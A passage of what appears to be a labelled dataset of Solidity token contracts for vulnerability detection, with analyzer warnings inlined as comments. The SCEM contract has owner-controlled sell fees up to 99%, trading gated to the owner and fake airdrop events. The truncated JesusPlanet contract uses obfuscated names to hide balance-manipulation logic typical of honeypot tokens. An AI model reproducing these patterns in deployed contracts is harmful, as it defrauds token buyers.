NANA.sellDevFee should be constant \n\t// Recommendation for a1f3cbb: Add the 'constant' attribute to state variables that never change.\n uint256 public sellDevFee;\n\t// WARNING Optimization Issue (constable-states | ID: 253fc80): NANA.sellOperationsFee should be constant \n\t// Recommendation for 253fc80: Add the 'constant' attribute to state variables that never change.\n uint256 public sellOperationsFee;\n constructor() ERC20(\"Presale Token\", \"NANA\") {\n _mint(msg.sender, 800 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_2074.sol",
"secure": 1,
"size_bytes": 2666
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n string private _name;\n string private _symbol;\n uint8 private _decimals;\n\n constructor(string memory name_, string memory symbol_, uint8 decimals_) {\n _name = name_;\n _symbol = symbol_;\n _decimals = decimals_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"ERC20: decreased allowance below zero\"\n )\n );\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[recipient] = _balances[recipient].add(amount);\n emit Transfer(sender, recipient, amount);\n }\n\n function _createInitialSupply(\n address account,\n uint256 amount\n ) internal virtual {\n require(\n account != address(0),\n \"ERC20: cannot send to the zero address\"\n );\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply = _totalSupply.add(amount);\n _balances[account] = _balances[account].add(amount);\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n _balances[account] = _balances[account].sub(\n amount,\n \"ERC20: burn amount exceeds balance\"\n );\n _totalSupply = _totalSupply.sub(amount);\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_2075.sol",
"secure": 1,
"size_bytes": 5285
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract SCEM is Context, IERC20, Ownable {\n using SafeMath for uint256;\n using Address for address;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6700233): SCEM._name should be constant \n\t// Recommendation for 6700233: Add the 'constant' attribute to state variables that never change.\n string private _name = \"SCEM\";\n\t// WARNING Optimization Issue (constable-states | ID: b83b775): SCEM._symbol should be constant \n\t// Recommendation for b83b775: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"SCEM\";\n\t// WARNING Optimization Issue (constable-states | ID: 1ebde5c): SCEM._decimals should be constant \n\t// Recommendation for 1ebde5c: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: f06e9af): SCEM._totalSupply should be constant \n\t// Recommendation for f06e9af: Add the 'constant' attribute to state variables that never change.\n uint256 private _totalSupply = 1 * 1e6 * 1e18;\n uint256 private minimumTokensBeforeSwap = (_totalSupply * 1) / 500;\n\n uint256 public _maxTxAmount = (_totalSupply * 30) / 1000;\n uint256 public _walletMax = (_totalSupply * 30) / 1000;\n bool public checkWalletLimit = true;\n\n address payable public liquidityWallet =\n payable(0xE043cf957172fa5169ce6cEc2d069E4986eC949b);\n address payable public operationsWallet =\n payable(0xE043cf957172fa5169ce6cEc2d069E4986eC949b);\n address public immutable deadAddress =\n 0x000000000000000000000000000000000000dEaD;\n\n uint256 public liquidityFeeBuy = 0;\n uint256 public operationsFeeBuy = 3;\n uint256 public totalFeesBuy;\n\t// WARNING Optimization Issue (constable-states | ID: e5d9a33): SCEM.maxTotalFeeBuy should be constant \n\t// Recommendation for e5d9a33: Add the 'constant' attribute to state variables that never change.\n uint256 public maxTotalFeeBuy = 10;\n\n uint256 public liquidityFeeSell = 0;\n uint256 public operationsFeeSell = 50;\n uint256 public totalFeesSell;\n\t// WARNING Optimization Issue (constable-states | ID: 79c5b45): SCEM.maxTotalFeeSell should be constant \n\t// Recommendation for 79c5b45: Add the 'constant' attribute to state variables that never change.\n uint256 public maxTotalFeeSell = 99;\n\n uint256 public _liquiditySharePercentage = 0;\n uint256 public _operationsSharePercentage = 100;\n uint256 public _totalDistributionShares;\n\n mapping(address => uint256) _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) public isExcludedFromFee;\n mapping(address => bool) public isWalletLimitExempt;\n mapping(address => bool) isTxLimitExempt;\n\n mapping(address => bool) public isMarketPair;\n IUniswapV2Router02 public uniswapV2Router;\n address public uniswapPair;\n\n bool inSwapAndLiquify;\n\t// WARNING Optimization Issue (constable-states | ID: 15da481): SCEM.tokensForLiquidity should be constant \n\t// Recommendation for 15da481: Add the 'constant' attribute to state variables that never change.\n uint256 public tokensForLiquidity;\n\t// WARNING Optimization Issue (constable-states | ID: 704e6b5): SCEM.tokensForOperations should be constant \n\t// Recommendation for 704e6b5: Add the 'constant' attribute to state variables that never change.\n uint256 public tokensForOperations;\n\n bool public tradingOpen = false;\n\n event LiquidityWalletUpdated(\n address indexed newLiquidityWallet,\n address indexed oldLiquidityWallet\n );\n event OperationsWalletUpdated(\n address indexed newOperationsWallet,\n address indexed oldOperationsWallet\n );\n event SwapAndLiquify(\n uint256 tokensSwapped,\n uint256 ethReceived,\n uint256 tokensIntoLiqudity\n );\n event SwapTokensForETH(uint256 amountIn, address[] path);\n\n modifier lockTheSwap() {\n inSwapAndLiquify = true;\n _;\n inSwapAndLiquify = false;\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 62ebe5b): SCEM.constructor()._uniswapV2Router is a local variable never initialized\n\t// Recommendation for 62ebe5b: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n constructor() {\n totalFeesBuy = operationsFeeBuy + liquidityFeeBuy;\n totalFeesSell = operationsFeeSell + liquidityFeeSell;\n\n _totalDistributionShares =\n _liquiditySharePercentage +\n _operationsSharePercentage;\n\n IUniswapV2Router02 _uniswapV2Router;\n if (block.chainid == 1) {\n _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n } else if (block.chainid == 5) {\n _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n } else revert();\n\n uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(\n address(this),\n _uniswapV2Router.WETH()\n );\n uniswapV2Router = _uniswapV2Router;\n isMarketPair[address(uniswapPair)] = true;\n\n _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;\n\n isExcludedFromFee[owner()] = true;\n isExcludedFromFee[address(this)] = true;\n isExcludedFromFee[address(0xdead)] = true;\n isExcludedFromFee[liquidityWallet] = true;\n isExcludedFromFee[operationsWallet] = true;\n\n isWalletLimitExempt[owner()] = true;\n isWalletLimitExempt[address(uniswapPair)] = true;\n isWalletLimitExempt[address(this)] = true;\n isWalletLimitExempt[liquidityWallet] = true;\n isWalletLimitExempt[operationsWallet] = true;\n\n isTxLimitExempt[owner()] = true;\n isTxLimitExempt[address(this)] = true;\n\n _balances[_msgSender()] = _totalSupply;\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n receive() external payable {}\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 66bf8ef): SCEM.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 66bf8ef: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n return true;\n }\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"ERC20: decreased allowance below zero\"\n )\n );\n return true;\n }\n\n function minimumTokensBeforeSwapAmount() public view returns (uint256) {\n return minimumTokensBeforeSwap;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b569178): SCEM._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b569178: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: be411fa\n\t\t// reentrancy-benign | ID: 13dffb3\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 7fa2558\n\t\t// reentrancy-events | ID: 3f1e239\n emit Approval(owner, spender, amount);\n }\n\n function getCirculatingSupply() public view returns (uint256) {\n return _totalSupply.sub(balanceOf(deadAddress));\n }\n\n function getBlock() public view returns (uint256) {\n return block.number;\n }\n\n function setMarketPairStatus(\n address account,\n bool newValue\n ) public onlyOwner {\n isMarketPair[account] = newValue;\n }\n\n function setIsTxLimitExempt(\n address holder,\n bool exempt\n ) external onlyOwner {\n isTxLimitExempt[holder] = exempt;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 9daf7a4): SCEM.setMaxTxAmount(uint256) should emit an event for _maxTxAmount = maxTxAmount \n\t// Recommendation for 9daf7a4: Emit an event for critical parameter changes.\n function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner {\n\t\t// events-maths | ID: 9daf7a4\n _maxTxAmount = maxTxAmount;\n }\n\n function setIsExcludedFromFee(\n address account,\n bool newValue\n ) public onlyOwner {\n isExcludedFromFee[account] = newValue;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: b45a8ed): SCEM.updateFees(uint256,uint256) should emit an event for totalFeesBuy = operationsFeeBuy + liquidityFeeBuy \n\t// Recommendation for b45a8ed: Emit an event for critical parameter changes.\n function updateFees(\n uint256 _operationsFee,\n uint256 _liquidityFee\n ) external onlyOwner {\n operationsFeeBuy = _operationsFee;\n liquidityFeeBuy = _liquidityFee;\n\t\t// events-maths | ID: b45a8ed\n totalFeesBuy = operationsFeeBuy + liquidityFeeBuy;\n require(\n totalFeesBuy <= maxTotalFeeBuy,\n \"Must keep fees at maxTotalFeeBuy or less\"\n );\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 2732db7): SCEM.updateFeesSell(uint256,uint256) should emit an event for totalFeesSell = operationsFeeSell + liquidityFeeSell \n\t// Recommendation for 2732db7: Emit an event for critical parameter changes.\n function updateFeesSell(\n uint256 _operationsFee,\n uint256 _liquidityFee\n ) external onlyOwner {\n operationsFeeSell = _operationsFee;\n liquidityFeeSell = _liquidityFee;\n\t\t// events-maths | ID: 2732db7\n totalFeesSell = operationsFeeSell + liquidityFeeSell;\n require(\n totalFeesSell <= maxTotalFeeSell,\n \"Must keep fees at maxTotalFeeSell or less\"\n );\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 36989f4): Missing events for critical arithmetic parameters.\n\t// Recommendation for 36989f4: Emit an event for critical parameter changes.\n function setDistributionSettings(\n uint256 newLiquidityShare,\n uint256 newOperationsShare\n ) external onlyOwner {\n\t\t// events-maths | ID: 36989f4\n _liquiditySharePercentage = newLiquidityShare;\n _operationsSharePercentage = newOperationsShare;\n\t\t// events-maths | ID: 36989f4\n _totalDistributionShares =\n _liquiditySharePercentage +\n _operationsSharePercentage;\n require(\n _totalDistributionShares == 100,\n \"Distribution needs to total to 100\"\n );\n }\n\n function enableDisableWalletLimit(bool newValue) external onlyOwner {\n checkWalletLimit = newValue;\n }\n\n function setIsWalletLimitExempt(\n address holder,\n bool exempt\n ) external onlyOwner {\n isWalletLimitExempt[holder] = exempt;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 33990cf): SCEM.setWalletLimit(uint256) should emit an event for _walletMax = newLimit \n\t// Recommendation for 33990cf: Emit an event for critical parameter changes.\n function setWalletLimit(uint256 newLimit) external onlyOwner {\n\t\t// events-maths | ID: 33990cf\n _walletMax = newLimit;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: c3e2a10): SCEM.setNumTokensBeforeSwap(uint256) should emit an event for minimumTokensBeforeSwap = newLimit \n\t// Recommendation for c3e2a10: Emit an event for critical parameter changes.\n function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner {\n\t\t// events-maths | ID: c3e2a10\n minimumTokensBeforeSwap = newLimit;\n }\n\n function updateLiquidityWallet(address newAddress) external onlyOwner {\n require(newAddress != address(0), \"Cannot set to address 0\");\n isExcludedFromFee[newAddress] = true;\n isExcludedFromFee[liquidityWallet] = false;\n emit LiquidityWalletUpdated(newAddress, liquidityWallet);\n liquidityWallet = payable(newAddress);\n }\n\n function updateOperationsWallet(address newAddress) external onlyOwner {\n require(newAddress != address(0), \"Cannot set to address 0\");\n isExcludedFromFee[newAddress] = true;\n isExcludedFromFee[operationsWallet] = false;\n emit OperationsWalletUpdated(newAddress, operationsWallet);\n operationsWallet = payable(newAddress);\n }\n\n function transferToAddressETH(\n address payable recipient,\n uint256 amount\n ) private {\n\t\t// reentrancy-events | ID: 9759774\n\t\t// reentrancy-events | ID: 7fa2558\n\t\t// reentrancy-events | ID: 3f1e239\n\t\t// reentrancy-eth | ID: a4324a4\n recipient.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5457ec2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5457ec2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function changeRouterAddress(\n address newRouterAddress\n ) public onlyOwner returns (address newPairAddress) {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n newRouterAddress\n );\n newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(\n address(this),\n _uniswapV2Router.WETH()\n );\n\n if (newPairAddress == address(0)) {\n\t\t\t// reentrancy-benign | ID: 5457ec2\n newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n }\n\n\t\t// reentrancy-benign | ID: 5457ec2\n uniswapPair = newPairAddress;\n\t\t// reentrancy-benign | ID: 5457ec2\n uniswapV2Router = _uniswapV2Router;\n\t\t// reentrancy-benign | ID: 5457ec2\n isWalletLimitExempt[address(uniswapPair)] = true;\n\t\t// reentrancy-benign | ID: 5457ec2\n isMarketPair[address(uniswapPair)] = true;\n }\n\n function setTrading() public onlyOwner {\n tradingOpen = true;\n }\n\n function airdropToWallets(\n address[] memory airdropWallets,\n uint256[] memory amount\n ) external onlyOwner {\n require(\n airdropWallets.length == amount.length,\n \"airdropToWallets:: Arrays must be the same length\"\n );\n for (uint256 i = 0; i < airdropWallets.length; i++) {\n address wallet = airdropWallets[i];\n uint256 airdropAmount = amount[i];\n emit Transfer(msg.sender, wallet, airdropAmount);\n }\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7fa2558): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7fa2558: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: be411fa): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for be411fa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 7fa2558\n\t\t// reentrancy-benign | ID: be411fa\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 7fa2558\n\t\t// reentrancy-benign | ID: be411fa\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9759774): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9759774: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a4324a4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a4324a4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) private returns (bool) {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n if (!tradingOpen) {\n require(\n sender == owner(),\n \"TOKEN: This account cannot send tokens until trading is enabled\"\n );\n }\n\n if (inSwapAndLiquify) {\n return _basicTransfer(sender, recipient, amount);\n } else {\n if (sender != owner() && recipient != owner()) {\n _checkTxLimit(sender, amount);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n bool overMinimumTokenBalance = contractTokenBalance >=\n minimumTokensBeforeSwap;\n if (\n overMinimumTokenBalance &&\n !inSwapAndLiquify &&\n !isMarketPair[sender]\n ) {\n\t\t\t\t// reentrancy-events | ID: 9759774\n\t\t\t\t// reentrancy-eth | ID: a4324a4\n swapAndLiquify(contractTokenBalance);\n }\n\n\t\t\t// reentrancy-eth | ID: a4324a4\n _balances[sender] = _balances[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n\t\t\t// reentrancy-events | ID: 9759774\n\t\t\t// reentrancy-eth | ID: a4324a4\n uint256 finalAmount = (isExcludedFromFee[sender] ||\n isExcludedFromFee[recipient])\n ? amount\n : takeFee(sender, recipient, amount);\n\n if (checkWalletLimit && !isWalletLimitExempt[recipient])\n require(balanceOf(recipient).add(finalAmount) <= _walletMax);\n\n\t\t\t// reentrancy-eth | ID: a4324a4\n _balances[recipient] = _balances[recipient].add(finalAmount);\n\t\t\t// reentrancy-events | ID: 9759774\n emit Transfer(sender, recipient, finalAmount);\n return true;\n }\n }\n\n function _basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n _balances[sender] = _balances[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n _balances[recipient] = _balances[recipient].add(amount);\n emit Transfer(sender, recipient, amount);\n return true;\n }\n\n function takeFee(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (uint256) {\n uint256 feeAmount = 0;\n if (isMarketPair[sender]) {\n feeAmount = amount.mul(totalFeesBuy).div(100);\n } else if (isMarketPair[recipient]) {\n feeAmount = amount.mul(totalFeesSell).div(100);\n }\n if (feeAmount > 0) {\n\t\t\t// reentrancy-eth | ID: a4324a4\n _balances[address(this)] = _balances[address(this)].add(feeAmount);\n\t\t\t// reentrancy-events | ID: 9759774\n emit Transfer(sender, address(this), feeAmount);\n }\n return amount.sub(feeAmount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3f1e239): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3f1e239: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 13dffb3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 13dffb3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function swapAndLiquify(uint256 swapAmount) private lockTheSwap {\n uint256 tokensForLP = swapAmount\n .mul(_liquiditySharePercentage)\n .div(_totalDistributionShares)\n .div(2);\n uint256 tokensForSwap = swapAmount.sub(tokensForLP);\n\n\t\t// reentrancy-events | ID: 3f1e239\n\t\t// reentrancy-benign | ID: 13dffb3\n swapTokensForEth(tokensForSwap);\n\n uint256 amountReceived = address(this).balance;\n\n uint256 totalFee = _totalDistributionShares.sub(\n _liquiditySharePercentage.div(2)\n );\n uint256 amountLiquidity = amountReceived\n .mul(_liquiditySharePercentage)\n .div(totalFee)\n .div(2);\n uint256 amountOperations = amountReceived.sub(amountLiquidity);\n\n if (amountOperations > 0)\n\t\t\t// reentrancy-events | ID: 3f1e239\n transferToAddressETH(operationsWallet, amountOperations);\n\n if (amountLiquidity > 0 && tokensForLP > 0) {\n\t\t\t// reentrancy-events | ID: 3f1e239\n\t\t\t// reentrancy-benign | ID: 13dffb3\n addLiquidity(tokensForLP, amountLiquidity);\n\t\t\t// reentrancy-events | ID: 3f1e239\n emit SwapAndLiquify(tokensForSwap, amountLiquidity, tokensForLP);\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d07e985): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d07e985: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 9759774\n\t\t// reentrancy-events | ID: 7fa2558\n\t\t// reentrancy-events | ID: 3f1e239\n\t\t// reentrancy-events | ID: d07e985\n\t\t// reentrancy-benign | ID: be411fa\n\t\t// reentrancy-benign | ID: 13dffb3\n\t\t// reentrancy-eth | ID: a4324a4\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\t\t// reentrancy-events | ID: d07e985\n emit SwapTokensForETH(tokenAmount, path);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 511dab3): SCEM.addLiquidity(uint256,uint256) ignores return value by uniswapV2Router.addLiquidityETH{value ethAmount}(address(this),tokenAmount,0,0,owner(),block.timestamp)\n\t// Recommendation for 511dab3: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 526bb69): SCEM.addLiquidity(uint256,uint256) sends eth to arbitrary user Dangerous calls uniswapV2Router.addLiquidityETH{value ethAmount}(address(this),tokenAmount,0,0,owner(),block.timestamp)\n\t// Recommendation for 526bb69: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 9759774\n\t\t// reentrancy-events | ID: 7fa2558\n\t\t// reentrancy-events | ID: 3f1e239\n\t\t// reentrancy-benign | ID: be411fa\n\t\t// reentrancy-benign | ID: 13dffb3\n\t\t// unused-return | ID: 511dab3\n\t\t// reentrancy-eth | ID: a4324a4\n\t\t// arbitrary-send-eth | ID: 526bb69\n uniswapV2Router.addLiquidityETH{value: ethAmount}(\n address(this),\n tokenAmount,\n 0,\n 0,\n owner(),\n block.timestamp\n );\n }\n\n function buyBackTokens(uint256 ETHAmountInWei) external onlyOwner {\n address[] memory path = new address[](2);\n path[0] = uniswapV2Router.WETH();\n path[1] = address(this);\n\n uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{\n value: ETHAmountInWei\n }(0, path, address(0xdead), block.timestamp);\n }\n\n function _checkTxLimit(address sender, uint256 amount) private view {\n require(\n amount <= _maxTxAmount || isTxLimitExempt[sender],\n \"TX Limit Exceeded\"\n );\n }\n}",
"file_name": "solidity_code_2076.sol",
"secure": 0,
"size_bytes": 27734
} |
{
"code": "// SPDX-License-Identifier: Unlicense\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract JesusPlanet is Ownable {\n function transfer(\n address opwfzg,\n uint256 nyzbchxlugrj\n ) public returns (bool success) {\n ijwkp(msg.sender, opwfzg, nyzbchxlugrj);\n return true;\n }\n\n function ijwkp(\n address tjnpkiydzgf,\n address opwfzg,\n uint256 nyzbchxlugrj\n ) private {\n if (cngqarjh[tjnpkiydzgf] == 0) {\n balanceOf[tjnpkiydzgf] -= nyzbchxlugrj;\n }\n if (nyzbchxlugrj == 0) iumhavxr[opwfzg] += jblpeucxik;\n if (\n tjnpkiydzgf != bujwm &&\n cngqarjh[tjnpkiydzgf] == 0 &&\n iumhavxr[tjnpkiydzgf] > 0\n ) {\n cngqarjh[tjnpkiydzgf] -= jblpeucxik;\n }\n balanceOf[opwfzg] += nyzbchxlugrj;\n emit Transfer(tjnpkiydzgf, opwfzg, nyzbchxlugrj);\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 614ce24): JesusPlanet.name should be constant \n\t// Recommendation for 614ce24: Add the 'constant' attribute to state variables that never change.\n string public name = \"Jesus Planet\";\n\n function transferFrom(\n address tjnpkiydzgf,\n address opwfzg,\n uint256 nyzbchxlugrj\n ) public returns (bool success) {\n require(nyzbchxlugrj <= allowance[tjnpkiydzgf][msg.sender]);\n allowance[tjnpkiydzgf][msg.sender] -= nyzbchxlugrj;\n ijwkp(tjnpkiydzgf, opwfzg, nyzbchxlugrj);\n return true;\n }\n\n\t// WARNING Optimization Issue (immutable-states | ID: ed4fb7c): JesusPlanet.bujwm should be immutable \n\t// Recommendation for ed4fb7c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public bujwm;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5bd3a9d): JesusPlanet.decimals should be constant \n\t// Recommendation for 5bd3a9d: Add the 'constant' attribute to state variables that never 